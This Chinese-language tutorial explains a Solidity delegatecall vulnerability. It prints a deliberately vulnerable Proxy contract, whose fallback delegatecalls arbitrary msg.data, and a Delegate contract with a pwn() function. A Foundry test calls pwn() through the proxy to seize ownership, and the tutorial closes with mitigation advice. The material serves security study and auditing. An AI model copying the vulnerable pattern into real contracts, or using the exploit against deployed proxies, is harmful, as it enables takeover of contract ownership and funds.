本文主要是介绍SolidityFoundry 安全审计测试 Delegatecall漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
名称:Delegatecall漏洞
描述:
代理合约所有者操纵漏洞,是智能合约设计中的一个缺陷,允许攻击者操纵代理合约所有者。该漏洞允许攻击者操纵代理合约的所有者(这里我们把所有者硬编码为 0xdeadbeef)。漏洞产生的原因是在代理合约的回退函数中使用了 delegatecall。delegatecall 允许攻击者在代理合约的上下文中调用代理合约的 pwn() 函数,从而更改代理合约的所有者状态变量的值。
过程:
- 分别部署 Delegate合约和Proxy合约;
- 攻击者 Alice调用 Proxy的fallback函数,成功将 Proxy合约中的 owner 改成自己。
Alice去调用 Proxy.pwn() ,发现 Proxy合约中并没有 pwn 函数,此时触发 HackMe.fallback() ,Proxy.fallback() 又使用 deldegatecall 调用 Delegate合约中的函数,函数名取得是 msg.data 也就是 "pwn()",而 Delegate合约中恰好有名为 pwn 的函数,该函数的作用是将合约中的 owner 修改为 msg.sender。delegatecall 函数的执行环境是调用者的环境,并且对于 storage 变量的修改是根据被调用的合约的插槽位置来修改的。
解决方法:
在使用 delegatecall 时应注意被调用合约的地址不能是可控的;
在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。
proxy合约:
contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}
Delegate:
contract Delegate {// The owner of the contract.address public owner; // slot0// The pwn function, which sets the owner of the contract to the message sender.function pwn() public {owner = msg.sender;}
}
foundry测试代码:
// Test function for a scenario where delegatecall is used.
function testDelegatecall() public {// Initialize a new Delegate contract, which is the "logic contract".DelegateContract = new Delegate(); // Initialize a new Proxy contract, passing the address of the Delegate contract to its constructor. This is the "proxy contract".proxy = new Proxy(address(DelegateContract)); // Log Alice's address.console.log("Alice address", alice);// Log the owner of the Proxy contract.console.log("DelegationContract owner", proxy.owner());// Log the start of the operation to change the owner of the Proxy contract.console.log("Change DelegationContract owner to Alice...");// Set the message sender to Alice.vm.prank(alice);// Call the pwn function of the Delegate contract through a delegatecall. This is the exploit.address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy.fallback() will delegatecall Delegate.pwn(), making Alice the owner of the Proxy contract.// Log the new owner of the Proxy contract.console.log("DelegationContract owner", proxy.owner());// Log the completion of the exploit.console.log("Exploit completed, proxy contract storage has been manipulated");
}// The Delegate contract, which contains the code that can be called via delegatecall.
contract Delegate {// The owner of the contract.address public owner; // slot0// The pwn function, which sets the owner of the contract to the message sender.function pwn() public {owner = msg.sender;}
}
这篇关于SolidityFoundry 安全审计测试 Delegatecall漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!